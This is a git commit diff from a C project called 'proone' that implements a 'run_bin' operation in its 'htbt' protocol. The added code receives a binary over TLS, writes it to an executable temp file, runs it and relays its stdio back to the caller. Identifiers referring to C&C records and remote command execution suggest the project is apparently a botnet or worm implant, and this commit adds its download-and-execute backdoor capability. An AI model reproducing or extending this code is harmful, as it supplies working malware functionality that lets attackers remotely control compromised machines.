diff options
author | David Timber <mieabby@gmail.com> | 2020-08-31 02:34:11 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-08-31 02:34:11 +0930 |
commit | ff4d91db20381471493b4f485fa0f75390138e54 (patch) | |
tree | a6e4c85419e7e4400b9de44d593dff867e05d182 | |
parent | fbb4d5d648a8dc6dba9e33240bf66d82939e2880 (diff) |
Impl run_bin
-rw-r--r-- | src/data/proto-test/runbin | 26 | ||||
-rw-r--r-- | src/data/proto-test/runcmd_demux | 4 | ||||
-rw-r--r-- | src/htbt.c | 356 | ||||
-rw-r--r-- | src/htbt.h | 2 | ||||
-rw-r--r-- | src/proone-htbthost.c | 58 | ||||
-rw-r--r-- | src/protocol.c | 12 |
6 files changed, 392 insertions, 66 deletions
diff --git a/src/data/proto-test/runbin b/src/data/proto-test/runbin new file mode 100644 index 0000000..099a1a6 --- /dev/null +++ b/src/data/proto-test/runbin @@ -0,0 +1,26 @@ +# msg id 0xA05, init +8A05 +# PRNE_HTBT_OP_RUN_BIN +07 + # bin_len = 147 + 000093 + # detach = 0, args_len = 0 + 0000 + # #!/bin/bash + # outfile=$(mktemp /tmp/prne.XXXX) + # echo "$outfile" + # for (( i = 0; i < 10; i += 1 )); do + # echo "hello world?!" >> "$outfile" + # done + # sleep 10 + 23212f62696e2f626173680a6f757466696c653d24286d6b74656d70202f + 746d702f70726e652e58585858290a6563686f2022246f757466696c6522 + 0a666f722028282069203d20303b2069203c2031303b2069202b3d203120 + 29293b20646f0a096563686f202268656c6c6f20776f726c643f2122203e + 3e2022246f757466696c65220a646f6e650a736c6565702031300a +# msg id 0xA05, init +8A05 +# PRNE_HTBT_OP_STDIO +08 + # stdio err = 0, fin = 1, len = 0 + 4000 diff --git a/src/data/proto-test/runcmd_demux b/src/data/proto-test/runcmd_demux index 01a9a2b..c0a630e 100644 --- a/src/data/proto-test/runcmd_demux +++ b/src/data/proto-test/runcmd_demux @@ -1,4 +1,4 @@ -# msg id 0xA03, init +# msg id 0xA04, init 8A04 # PRNE_HTBT_OP_RUN_CMD 05 @@ -6,7 +6,7 @@ 00 08 # "/bin/sh" 2f 62 69 6e 2f 73 68 00 -# msg id 0xA03, init +# msg id 0xA04, init 8A04 # PRNE_HTBT_OP_STDIO 08 @@ -26,15 +26,21 @@ #define HTBT_LBD_BACKLOG 4 // LBD Socket Operation Timeout static const struct timespec HTBT_LBD_SCK_OP_TIMEOUT = { 10, 0 }; // 10s +// LBD Status Send Timeout +static const struct timespec HTBT_LBD_STATUS_SND_TIMEOUT = { 5, 0 }; // 5s // LBD Socket Bind Retry Interval static const struct timespec HTBT_LBD_BIND_INT = { 5, 0 }; // 5s // LBD TLS Close Timeout static const struct timespec HTBT_LBD_CLOSE_TIMEOUT = { 3, 0 }; // 3s - +// Relay child Timeout +static const struct timespec HTBT_RELAY_CHILD_TIMEOUT = { 60, 0 }; // 60s +// Download tick timeout +static const struct timespec HTBT_DL_TICK_TIMEOUT = { 30, 0 }; // 30s typedef struct { pth_t pth; prne_htbt_t *parent; + size_t skip; prne_iobuf_t iobuf[2]; int fd; bool valid; @@ -273,10 +279,12 @@ static void htbt_lbd_fab_frame ( const prne_htbt_msg_head_t *mh, const void *body, prne_htbt_ser_ft ser_f, - pth_event_t root_ev) + pth_event_t ev) { size_t req, actual; + prne_assert(ev != NULL); + req = 0; prne_htbt_ser_msg_head(NULL, 0, &actual, mh); req += actual; @@ -284,7 +292,7 @@ static void htbt_lbd_fab_frame ( req += actual; prne_assert(req <= ctx->iobuf[1].size); - htbt_lbd_consume_outbuf(ctx, req, root_ev); + htbt_lbd_consume_outbuf(ctx, req, ev); if (!ctx->valid) { return; } @@ -308,10 +316,19 @@ static void htbt_lbd_fab_status ( prne_htbt_status_code_t status, int32_t err, uint16_t corr_msgid, - pth_event_t root_ev) + pth_event_t ev) { prne_htbt_msg_head_t mh; prne_htbt_status_t s; + pth_event_t my_ev = NULL; + + if (ev == NULL) { + my_ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_LBD_STATUS_SND_TIMEOUT)); + ev = my_ev; + } + prne_assert(ev != NULL); prne_htbt_init_msg_head(&mh); prne_htbt_init_status(&s); @@ -326,45 +343,75 @@ static void htbt_lbd_fab_status ( &mh, &s, (prne_htbt_ser_ft)prne_htbt_ser_status, - root_ev); + ev); prne_htbt_free_msg_head(&mh); prne_htbt_free_status(&s); + pth_event_free(my_ev, FALSE); } static void htbt_lbd_raise_protoerr ( htbt_lbd_client_t *ctx, uint16_t corr_msgid, - int32_t err, - pth_event_t root_ev) + int32_t err) { + pth_event_t ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_LBD_STATUS_SND_TIMEOUT)); + + prne_assert(ev != NULL); htbt_lbd_fab_status( ctx, PRNE_HTBT_STATUS_PROTO_ERR, err, corr_msgid, - root_ev); - htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev); + ev); + htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, ev); ctx->valid = false; + + pth_event_free(ev, FALSE); } -static void htbt_lbd_fab_unimpl ( +static void htbt_lbd_srv_stdio ( htbt_lbd_client_t *ctx, - uint16_t corr_msgid, - pth_event_t root_ev) + pth_event_t root_ev, + size_t off, + const prne_htbt_msg_head_t *mh) { - htbt_lbd_fab_status( - ctx, - PRNE_HTBT_STATUS_UNIMPL, - 0, - corr_msgid, - root_ev); + prne_htbt_stdio_t sh; + size_t actual; + prne_htbt_ser_rc_t s_ret; + + prne_htbt_init_stdio(&sh); + + s_ret = prne_htbt_dser_stdio( + ctx->iobuf[0].m + off, + ctx->iobuf[0].len - off, + &actual, + &sh); + if (s_ret == PRNE_HTBT_SER_RC_MORE_BUF) { + goto END; + } + else { + prne_iobuf_shift(ctx->iobuf + 0, -(off + actual)); + } + if (s_ret != PRNE_HTBT_SER_RC_OK) { + htbt_lbd_raise_protoerr( + ctx, + mh->id, + 0); + goto END; + } + + ctx->skip = sh.len; +END: + prne_htbt_free_stdio(&sh); } static void htbt_lbd_srv_hostinfo ( htbt_lbd_client_t *ctx, pth_event_t root_ev, - const size_t off, + size_t off, const prne_htbt_msg_head_t *mh) { prne_htbt_host_info_t hi; @@ -372,7 +419,12 @@ static void htbt_lbd_srv_hostinfo ( prne_iobuf_shift(ctx->iobuf + 0, -off); if (ctx->parent->param.cb_f.hostinfo == NULL) { - htbt_lbd_fab_unimpl(ctx, mh->id, root_ev); + htbt_lbd_fab_status( + ctx, + PRNE_HTBT_STATUS_UNIMPL, + 0, + mh->id, + root_ev); return; } @@ -407,6 +459,7 @@ static bool htbt_relay_child ( int *c_out, int *c_err) { + bool conn_rd = true; bool ret = true; struct pollfd pfd[4]; prne_htbt_msg_head_t mh; @@ -414,6 +467,7 @@ static bool htbt_relay_child ( int f_ret, pending, out_p = 0; size_t actual; ssize_t consume; + pth_event_t ev = NULL; pfd[0].fd = conn; pfd[1].fd = *c_in; @@ -432,7 +486,7 @@ static bool htbt_relay_child ( if (iobuf[1].len > 0) { pfd[0].events |= POLLOUT; } - if (iobuf[0].avail > 0 && !(sh[0].fin && sh[0].len == 0)) { + if (conn_rd && iobuf[0].avail > 0 && !(sh[0].fin && sh[0].len == 0)) { pfd[0].events |= POLLIN; } @@ -452,12 +506,21 @@ static bool htbt_relay_child ( pfd[2 + out_p].events |= POLLIN; } - f_ret = pth_poll(pfd, 4, -1); + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_RELAY_CHILD_TIMEOUT)); + prne_assert(ev != NULL); + + f_ret = pth_poll_ev(pfd, 4, -1, ev); if (f_ret < 0 && errno != EINTR) { ret = false; break; } - if (f_ret == 0 || (pfd[0].revents & (POLLNVAL | POLLHUP | POLLERR))) { + if (pth_event_status(ev) == PTH_STATUS_OCCURRED || + f_ret == 0 || + (pfd[0].revents & (POLLNVAL | POLLHUP | POLLERR))) + { break; } @@ -497,7 +560,10 @@ static bool htbt_relay_child ( ssl, iobuf[0].m + iobuf[0].len, iobuf[0].avail); - if (f_ret < 0) { + if (f_ret == 0) { + conn_rd = false; + } + else if (f_ret < 0) { break; } else { @@ -599,6 +665,7 @@ static bool htbt_relay_child ( prne_htbt_free_stdio(sh + 0); prne_htbt_free_stdio(sh + 1); prne_htbt_free_msg_head(&mh); + pth_event_free(ev, FALSE); return ret; } @@ -623,20 +690,22 @@ static void htbt_do_cmd ( int errp[2] = { -1, -1 }; pid_t child = -1; int f_ret, chld_status; + prne_htbt_status_code_t ret_status; + int32_t ret_err = 0; if (pipe(errp) != 0 || fcntl(errp[0], F_SETFD, FD_CLOEXEC) != 0 || fcntl(errp[1], F_SETFD, FD_CLOEXEC) != 0) { - *out_status = PRNE_HTBT_STATUS_ERRNO; - *out_err = errno; + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_err = errno; goto END; } if (!detach && (pipe(cin) != 0 || pipe(cout) != 0 || pipe(cerr) != 0)) { - *out_status = PRNE_HTBT_STATUS_ERRNO; - *out_err = errno; + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_err = errno; goto END; } @@ -677,13 +746,13 @@ static void htbt_do_cmd ( execv(args[0], args); } while (false); // CATCH - *out_err = errno; - write(errp[1], out_err, sizeof(int32_t)); + ret_err = errno; + write(errp[1], &ret_err, sizeof(int32_t)); raise(SIGKILL); } else if (child < 0) { - *out_status = PRNE_HTBT_STATUS_ERRNO; - *out_err = errno; + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_err = errno; goto END; } @@ -691,21 +760,21 @@ static void htbt_do_cmd ( close(errp[1]); // This could block forever if the child gets stoppep - f_ret = pth_read(errp[0], out_err, sizeof(int32_t)); + f_ret = pth_read(errp[0], &ret_err, sizeof(int32_t)); if (f_ret == sizeof(int32_t)) { - *out_status = PRNE_HTBT_STATUS_ERRNO; + ret_status = PRNE_HTBT_STATUS_ERRNO; goto END; } prne_close(errp[0]); errp[0] = -1; - *out_status = PRNE_HTBT_STATUS_OK; + ret_status = PRNE_HTBT_STATUS_OK; if (detach) { if (pth_waitpid(child, &chld_status, WUNTRACED) == child && !WIFSTOPPED(chld_status)) { child = -1; - *out_err = 0; + ret_err = 0; } } else { @@ -717,33 +786,33 @@ static void htbt_do_cmd ( !prne_sck_fcntl(cout[0]) || !prne_sck_fcntl(cerr[0])) { - *out_status = PRNE_HTBT_STATUS_ERRNO; - *out_err = errno; + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_err = errno; goto END; } if (htbt_relay_child(conn, ssl, iobuf, msg_id, &cin[1], &cout[0], &cerr[0])) { if (pth_waitpid(child, &chld_status, WUNTRACED) < 0) { - *out_status = PRNE_HTBT_STATUS_ERRNO; - *out_err = errno; + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_err = errno; goto END; } else if (WIFEXITED(chld_status)) { - *out_err = WEXITSTATUS(chld_status); + ret_err = WEXITSTATUS(chld_status); child = -1; } else if (WIFSIGNALED(chld_status)) { - *out_err = 128 + WTERMSIG(chld_status); + ret_err = 128 + WTERMSIG(chld_status); child = -1; } else { // child has been stopped just right before exit - *out_err = -1; + ret_err = -1; } } else { - *out_status = PRNE_HTBT_STATUS_ERRNO; - *out_err = errno; + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_err = errno; } } @@ -760,15 +829,21 @@ END: kill(child, SIGKILL); pth_waitpid(child, NULL, 0); } + + if (out_status != NULL) { + *out_status = ret_status; + } + if (out_err != NULL) { + *out_err = ret_err; + } } -static bool htbt_lbd_srv_run_cmd ( +static void htbt_lbd_srv_run_cmd ( htbt_lbd_client_t *ctx, pth_event_t root_ev, - const size_t off, + size_t off, const prne_htbt_msg_head_t *mh) { - bool ret = false; size_t actual; prne_htbt_ser_rc_t s_ret; prne_htbt_cmd_t cmd; @@ -798,7 +873,7 @@ static bool htbt_lbd_srv_run_cmd ( goto END; } if (s_ret != PRNE_HTBT_SER_RC_OK) { - htbt_lbd_raise_protoerr(ctx, mh->id, 0, root_ev); + htbt_lbd_raise_protoerr(ctx, mh->id, 0); goto END; } @@ -813,12 +888,172 @@ static bool htbt_lbd_srv_run_cmd ( mh->id, &status, &err); - htbt_lbd_fab_status(ctx, status, err, mh->id, root_ev); - ret = true; + htbt_lbd_fab_status(ctx, status, err, mh->id, NULL); } + END: prne_htbt_free_cmd(&cmd); - return ret; +} + +static void htbt_lbd_srv_run_bin ( + htbt_lbd_client_t *ctx, + pth_event_t root_ev, + size_t off, + const prne_htbt_msg_head_t *mh) +{ + prne_htbt_bin_meta_t bin_meta; + size_t actual; + prne_htbt_ser_rc_t s_ret; + char *add_args[1] = { NULL }; + char **args = NULL; + int fd = -1, f_ret; + struct pollfd pfd; + pth_event_t ev = NULL; + prne_htbt_status_code_t ret_status = PRNE_HTBT_STATUS_OK; + int32_t ret_errno = 0; + + prne_htbt_init_bin_meta(&bin_meta); + + htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev); + + s_ret = prne_htbt_dser_bin_meta( + ctx->iobuf[0].m + off, + ctx->iobuf[0].len - off, + &actual, + &bin_meta); + if (s_ret == PRNE_HTBT_SER_RC_MORE_BUF) { + goto END; + } + else { + off += actual; + prne_iobuf_shift(ctx->iobuf + 0, -off); + } + if (s_ret != PRNE_HTBT_SER_RC_OK) { + goto PROTO_ERR; + } + + if (ctx->parent->param.cb_f.tmpfile == NULL) { + ret_status = PRNE_HTBT_STATUS_UNIMPL; + goto SND_STATUS; + } + errno = 0; + add_args[0] = ctx->parent->param.cb_f.tmpfile(bin_meta.bin_size, 0700); + if (add_args[0] == NULL) { + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_errno = errno; + goto SND_STATUS; + } + args = prne_htbt_parse_args( + bin_meta.cmd.mem, + bin_meta.cmd.mem_len, + 1, + add_args, + NULL, + SIZE_MAX); + if (args == NULL) { + goto END; + } + + fd = open(add_args[0], O_WRONLY); + if (fd < 0) { + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_errno = errno; + goto SND_STATUS; + } + fcntl(fd, F_SETFD, FD_CLOEXEC); + + pfd.fd = ctx->fd; + pfd.events = POLLIN; + while (bin_meta.bin_size > 0) { + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_DL_TICK_TIMEOUT)); + prne_assert(ev != NULL); + + if (ctx->iobuf[0].len == 0) { + f_ret = pth_poll_ev(&pfd, 1, -1, ev); + if (pth_event_status(ev) == PTH_STATUS_OCCURRED || + f_ret == 0) + { + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_errno = ETIMEDOUT; + goto SND_STATUS; + } + + if (pfd.revents & POLLIN) { + f_ret = mbedtls_ssl_read( + &ctx->ssl, + ctx->iobuf[0].m, + ctx->iobuf[0].avail); + if (f_ret <= 0) { + goto END; + } + prne_iobuf_shift(ctx->iobuf + 0, f_ret); + } + else if (pfd.revents) { + goto END; + } + } + + actual = prne_op_min(bin_meta.bin_size, ctx->iobuf[0].len); + f_ret = pth_write(fd, ctx->iobuf[0].m, actual); + prne_iobuf_shift(ctx->iobuf + 0, -actual); + bin_meta.bin_size -= actual; + if (f_ret < 0) { + ret_status = PRNE_HTBT_STATUS_ERRNO; + ret_errno = errno; + goto SND_STATUS; + } + } + close(fd); + fd = -1; + + htbt_do_cmd( + bin_meta.cmd.detach, + args, + ctx->fd, + &ctx->ssl, + ctx->iobuf, + mh->id, + &ret_status, + &ret_errno); + goto SND_STATUS; +PROTO_ERR: + htbt_lbd_raise_protoerr(ctx, mh->id, 0); + goto END; +SND_STATUS: + htbt_lbd_fab_status( + ctx, + ret_status, + ret_errno, + mh->id, + NULL); + goto END; +END: + ctx->skip = bin_meta.bin_size; + prne_htbt_free_bin_meta(&bin_meta); + if (add_args[0] != NULL) { + unlink(add_args[0]); + prne_free(add_args[0]); + } + prne_free(args); + prne_close(fd); + pth_event_free(ev, FALSE); +} + +static void htbt_lbd_skip_inbuf (htbt_lbd_client_t *ctx) { + size_t consume; + + if (ctx->skip == 0) { + return; + } + consume = prne_op_min(ctx->iobuf[0].len, ctx->skip); + + prne_iobuf_shift( + ctx->iobuf + 0, + -consume); + ctx->skip -= consume; } static bool htbt_lbd_consume_inbuf ( @@ -833,6 +1068,8 @@ static bool htbt_lbd_consume_inbuf ( prne_htbt_init_msg_head(&f_head); while (ctx->valid) { + htbt_lbd_skip_inbuf(ctx); + prne_htbt_free_msg_head(&f_head); prne_htbt_init_msg_head(&f_head); @@ -848,7 +1085,7 @@ static bool htbt_lbd_consume_inbuf ( f_head.is_rsp || (f_head.op != PRNE_HTBT_OP_NOOP && f_head.id == 0)) { - htbt_lbd_raise_protoerr(ctx, f_head.id, 0, root_ev); + htbt_lbd_raise_protoerr(ctx, f_head.id, 0); goto END; } @@ -858,23 +1095,25 @@ static bool htbt_lbd_consume_inbuf ( case PRNE_HTBT_OP_NOOP: prne_iobuf_shift(ctx->iobuf + 0, -actual); break; + case PRNE_HTBT_OP_STDIO: + htbt_lbd_srv_stdio(ctx, root_ev, actual, &f_head); + break; case PRNE_HTBT_OP_HOST_INFO: htbt_lbd_srv_hostinfo(ctx, root_ev, actual, &f_head); break; case PRNE_HTBT_OP_RUN_CMD: - if (!htbt_lbd_srv_run_cmd(ctx, root_ev, actual, &f_head)) { - goto END; - } + htbt_lbd_srv_run_cmd(ctx, root_ev, actual, &f_head); break; case PRNE_HTBT_OP_RUN_BIN: + htbt_lbd_srv_run_bin(ctx, root_ev, actual, &f_head); + break; case PRNE_HTBT_OP_HOVER: case PRNE_HTBT_OP_NY_BIN: default: htbt_lbd_raise_protoerr( ctx, f_head.id, - PRNE_HTBT_STATUS_UNIMPL, - root_ev); + PRNE_HTBT_STATUS_UNIMPL); goto END; } } @@ -975,6 +1214,7 @@ END: static void htbt_init_lbd_client (htbt_lbd_client_t *c) { c->pth = NULL; c->parent = NULL; + c->skip = 0; prne_init_iobuf(c->iobuf + 0); prne_init_iobuf(c->iobuf + 1); c->fd = -1; @@ -11,7 +11,7 @@ typedef struct prne_htbt prne_htbt_t; typedef struct prne_htbt_param prne_htbt_param_t; typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out); typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out); -typedef char*(*prne_htbt_tmpfile_ft)(const size_t req_size); +typedef char*(*prne_htbt_tmpfile_ft)(size_t req_size, const mode_t mode); typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd); typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd); diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index 4ba2f73..555b9d3 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -234,6 +234,63 @@ static bool parse_param (const char *arg) { return true; } +static char *mktmpfile (size_t req_size, const mode_t mode) { + static int ctr = 0; + uint8_t *z = NULL; + size_t z_size; + ssize_t consume; + char *path = NULL, *ret = NULL; + int fd = -1, len; + + z_size = prne_getpagesize(); + z = prne_calloc(1, z_size); + if (z == NULL) { + z_size = 1; + z = prne_malloc(1, 1); + z[0] = 0; + } + + len = snprintf(NULL, 0, "htbthost-tmp.%d", ctr); + if (len < 0) { + goto END; + } + path = prne_alloc_str(len); + if (path == NULL) { + goto END; + } + prne_memzero(path, len + 1); + if (len != snprintf(path, len + 1, "htbthost-tmp.%d", ctr)) { + goto END; + } + + // TODO: Polyfill + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode); + if (fd < 0) { + goto END; + } + fcntl(fd, F_SETFD, FD_CLOEXEC); + + while (req_size > 0) { + consume = prne_op_min(z_size, req_size); + if (pth_write(fd, z, consume) != (int)consume) { + goto END; + } + req_size -= consume; + } + + ret = path; + path = NULL; + ctr += 1; +END: + if (path != NULL && fd >= 0) { + unlink(path); + } + prne_free(path); + prne_close(fd); + prne_free(z); + return ret; +} + int main (const int argc, const char **args) { static mbedtls_entropy_context entropy; @@ -378,6 +435,7 @@ int main (const int argc, const char **args) { param.cncp_ssl_conf = &ssl.cncp.conf; param.ctr_drbg = &rnd; param.resolv = resolv; + param.cb_f.tmpfile = mktmpfile; param.cb_f.cnc_txtrec = cb_txtrec; param.cb_f.hostinfo = cb_hostinfo; diff --git a/src/protocol.c b/src/protocol.c index 301e884..5388f52 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -711,12 +711,14 @@ prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, si return PRNE_HTBT_SER_RC_MORE_BUF; } - mem = (char*)prne_malloc(1, args_len); - if (mem == NULL) { - ret = PRNE_HTBT_SER_RC_ERRNO; - goto END; + if (args_len > 0) { + mem = (char*)prne_malloc(1, args_len); + if (mem == NULL) { + ret = PRNE_HTBT_SER_RC_ERRNO; + goto END; + } + memcpy(mem, data + 2, args_len); } - memcpy(mem, data + 2, args_len); saved_errno = errno; errno = 0; |